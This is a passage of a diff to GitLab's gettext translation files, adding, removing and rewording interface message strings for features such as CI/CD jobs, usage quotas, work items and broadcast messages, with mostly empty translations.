+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42016,6 +42716,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42091,9 +42794,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42298,7 +42998,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42738,6 +43438,10 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -42954,7 +43658,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43251,24 +43955,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43372,15 +44064,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43552,6 +44241,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43594,6 +44286,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -43774,6 +44469,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -43813,6 +44511,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -43882,6 +44583,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44044,15 +44748,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44083,15 +44781,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44149,24 +44841,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44194,9 +44874,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44215,15 +44892,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44380,6 +45051,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44435,6 +45109,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44609,9 +45289,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44678,10 +45355,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -44849,10 +45526,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45044,6 +45718,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45056,9 +45733,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45128,6 +45802,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45220,6 +45897,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45251,6 +45931,9 @@ msgstr[0] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45263,6 +45946,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45287,9 +45973,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46022,10 +46705,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46471,9 +47154,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46559,6 +47254,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46568,7 +47266,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46601,7 +47299,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46655,6 +47353,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46676,6 +47380,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -46779,6 +47489,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -46911,9 +47624,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47004,6 +47714,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47043,9 +47756,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47061,7 +47771,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47154,7 +47864,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47182,6 +47892,9 @@ msgid "You have %{pendingMembersCount} pending member that needs approval."
msgid_plural "You have %{pendingMembersCount} pending members that need approval."
msgstr[0] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47299,6 +48012,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47452,8 +48168,9 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
msgid "YouTube"
msgstr ""
@@ -47690,6 +48407,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47717,7 +48437,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -47793,6 +48513,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -47991,6 +48714,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48223,10 +48949,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48376,9 +49105,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -48855,9 +49581,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49367,6 +50090,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49454,12 +50180,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -49864,6 +50584,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/bg/gitlab.po b/locale/bg/gitlab.po
index d5f753ef86c..fa0210dfdbe 100644
--- a/locale/bg/gitlab.po
+++ b/locale/bg/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: bg\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:39\n"
+"PO-Revision-Date: 2023-01-10 06:44\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr "Преглед на папката"
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
